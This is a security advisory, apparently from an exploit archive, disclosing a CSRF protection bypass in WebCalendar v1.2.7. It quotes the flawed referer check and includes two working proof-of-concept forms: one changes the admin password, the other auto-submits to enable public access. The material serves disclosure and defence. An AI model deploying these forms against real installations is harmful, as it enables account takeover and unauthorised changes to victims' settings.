WebCalendar v1.2.7 CSRF Protection Bypass

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[+] Credits: John Page aka HYP3RLINX    

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/WEBCALENDAR-V1.2.7-CSRF-PROTECTION-BYPASS.txt

[+] ISR: ApparitionSec



Vendor:
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www.k5n.us/webcalendar.php



Product:
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WebCalendar v1.2.7

WebCalendar is a PHP-based calendar application that can be configured as a single-user calendar, a multi-user calendar 
for groups of users, or as an
event calendar viewable by visitors. MySQL, PostgreSQL, Oracle, DB2, Interbase, MS SQL Server, or ODBC is required.

WebCalendar can be setup in a variety of ways, such as...

A schedule management system for a single person
A schedule management system for a group of people, allowing one or more assistants to manage the calendar of another 
user
An events schedule that anyone can view, allowing visitors to submit new events
A calendar server that can be viewed with iCalendar-compliant calendar applications like Mozilla Sunbird, Apple iCal or 
GNOME Evolution or RSS-enabled
applications like Firefox, Thunderbird, RSSOwl, FeedDemon, or BlogExpress.




Vulnerability Type:
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CSRF PROTECTION BYPASS



CVE Reference:
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N/A



Vulnerability Details:
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WebCalendar attempts to uses the HTTP Referer to check that requests are originating from same server as we see below.

> From WebCalendar "include/functions.php" file on line 6117:

////////////////////////////////////////////////////////////

function require_valide_referring_url ()
{

 global $SERVER_URL;

 
if ( empty( $_SERVER['HTTP_REFERER'] ) ) {
 
   // Missing the REFERER value
  
 //die_miserable_death ( translate ( 'Invalid referring URL' ) );
  
 // Unfortunately, some version of MSIE do not send this info.
  
  return true;
  }
  
if ( ! preg_match ( "@$SERVER_URL@i", $_SERVER['HTTP_REFERER'] ) ) {
  
  // Gotcha.  URL of referring page is not the same as our server.
    
// This can be an instance of XSRF.
    
// (This may also happen when more than address is used for your server.
    
// However, you're not supposed to do that with this version of
    
// WebCalendar anyhow...)
    die_miserable_death ( translate ( 'Invalid referring URL' ) );
 
 }

}

/////////////////////////////////////////////////////////////////////////////////////////

However, this can be easily defeated by just not sending a referer. HTML 5 includes a handy tag <meta name="referrer" 
content="none"> to omit the referer
when making an HTTP request, currently supported in Chrome, Safari, MobileSafari and other WebKit-based browsers. Using 
this meta tag we send no referrer
and the vulnerable application will then happily process our CSRF requests.



Exploit code(s):
===============

1) CSRF Protection Bypass to change Admin password POC. Note: Name of the victim user is required for success.


<meta name="referrer" content="none">

<form id="CSRF" action="http://localhost/WebCalendar-1.2.7/edit_user_handler.php";  method="post">
<input type="hidden" name="formtype" value="setpassword" />
<input type="hidden" name="user" value="admin" />
<input name="upassword1" id="newpass1" type="password" value="1234567"  />
<input name="upassword2" id="newpass2" type="password"  value="1234567" />
</form>


2) CSRF Protection Bypass modify access controls under "System Settings" / "Allow public access" 

<meta name="referrer" content="none">

<form id="CSRF_ACCESS_CTRL" action="http://localhost/WebCalendar-1.2.7/admin.php"; method="post" name="prefform"><br />
<input type="hidden" name="currenttab" id="currenttab" value="settings" />
<input type="submit" value="Save" name="" />
<input type="hidden" name="admin_PUBLIC_ACCESS" value="Y"  />
<script>document.getElementById('CSRF_ACCESS_CTRL').submit()</script>
</form>




Disclosure Timeline:
===============================
Vendor Notification:  No replies
July 4, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
6.8 (Medium)
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N


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